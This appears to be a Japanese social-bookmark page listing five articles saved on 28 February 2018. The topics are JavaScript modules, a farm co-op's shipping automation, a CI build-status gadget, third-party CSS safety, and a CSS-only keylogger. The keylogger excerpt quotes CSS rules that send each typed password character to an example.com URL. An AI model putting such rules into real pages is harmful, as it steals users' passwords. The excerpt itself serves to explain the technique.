タグ

2018年2月28日のブックマーク (5件)

  • JavaScript Modules: A Beginner’s Guide

    By Preethi Kasireddy If you’re a newcomer to JavaScript, jargon like “module bundlers vs. module loaders,” “Webpack vs. Browserify” and “AMD vs. CommonJS” can quickly become overwhelming. The JavaScript module system may be intimidating, but understanding it is vital for web developers. In this post, I’ll unpack these buzzwords for you in plain English (and a few code samples). I hope you find it

    JavaScript Modules: A Beginner’s Guide
  • 「出荷作業8時間を1秒に」三浦市農協で起きた驚異の進化

    農業のIT化が進む中、農協の業務の中でもやっかいな出荷物の配送予定の作成時間を大幅に短縮するシステムが登場した。1日8時間かかっていた作業がわずか1秒で済むという。導入するのは、神奈川県の三浦市農業協同組合(以下三浦市農協)とサイボウズ。独自のアルゴリズムを使って、人間が計算するよりも速く、かつ効率的な配車予定を組むことが可能になる。 時間かかるうえにトラック台数多く非効率 農協にとって出荷振り分け作業というのは、最も面倒な作業の一つ。翌日に農家から出荷される出荷物の量を把握し、市場などの配送先ごとの出荷数量と、荷物をどの運送会社のトラックにどう積み分けるかを決める。この作業は基的に手作業で行われていて、三浦市農協の場合、まずは農家が各出荷所に翌日の出荷予定を連絡し、各出荷所が農協に連絡。農協は全出荷所から受け付けた数量をExcelへ入力し、北海道から大阪までの約50の市場への出荷数量を

    「出荷作業8時間を1秒に」三浦市農協で起きた驚異の進化
  • CIでビルドが終わると光るゴーファーを作る - Qiita

    これは何か CIでビルドの開始や完了したとき、CIからURLを叩くと通知してくれるデバイスです。 ブランチ名とビルド開始、成功、失敗を表示してくれます。 すべての写真はこちら 動画はこちら どうやって動いているのか? CIがURLを叩いてから、通知されるまで流れは簡単に次のようになります。 CIがGoogle Cloud FunctionsのURLを叩く ブランチ名と、ビルドの開始、成功、失敗のいずれかのフラグを送ります Google Cloud Functionsからsakura.ioのIncoming WebhookのAPIを叩きます sakura.ioの通信モジュールを繋げたArduinoからデバイスを制御します LCDにブランチ名とビルド状況を表示します RGB LEDをビルド状況に応じて光らせます 使われているパーツ sakura.ioのモジュール sakura.ioのArdui

    CIでビルドが終わると光るゴーファーを作る - Qiita
  • Third party CSS is not safe

    A few days ago there was a lot of chatter about a 'keylogger' built in CSS. Some folks called for browsers to 'fix' it. Some folks dug a bit deeper and saw that it only affected sites built in React-like frameworks, and pointed the finger at React. But the real problem is thinking that third party content is 'safe'. Third party images If I include the above, I'm trusting example.com. They may betr

    Third party CSS is not safe
  • CSSだけでキーロガーを作る(※追記あり) - R42日記

    github.com よくもまあこんなこと思いついたなw 要するに、 input[type="password"][value$="a"] { background-image: url("http://example.com/a"); } input[type="password"][value$="b"] { background-image: url("http://example.com/b"); } ... とすることで、キータイプ毎に特定のHTTPリクエストを発生させて、それをサーバ側でキャプチャするわけです。極めて簡単。 これはもう既に悪用されているでしょうなあ… 追記 input[type="password"][value$="a"] { background-image: url("http://example.com/a?id=1234abcd"); } input[

    CSSだけでキーロガーを作る(※追記あり) - R42日記
    noonworks
    noonworks 2018/02/28
    悪意のCSSを外部から注入できる状況というとブラウザ拡張かページの改竄が思いつくけど、どちらもCSSに拘る必要がないので、使い所が思いつかない……JS不可CSS可のCMSに埋め込むとか?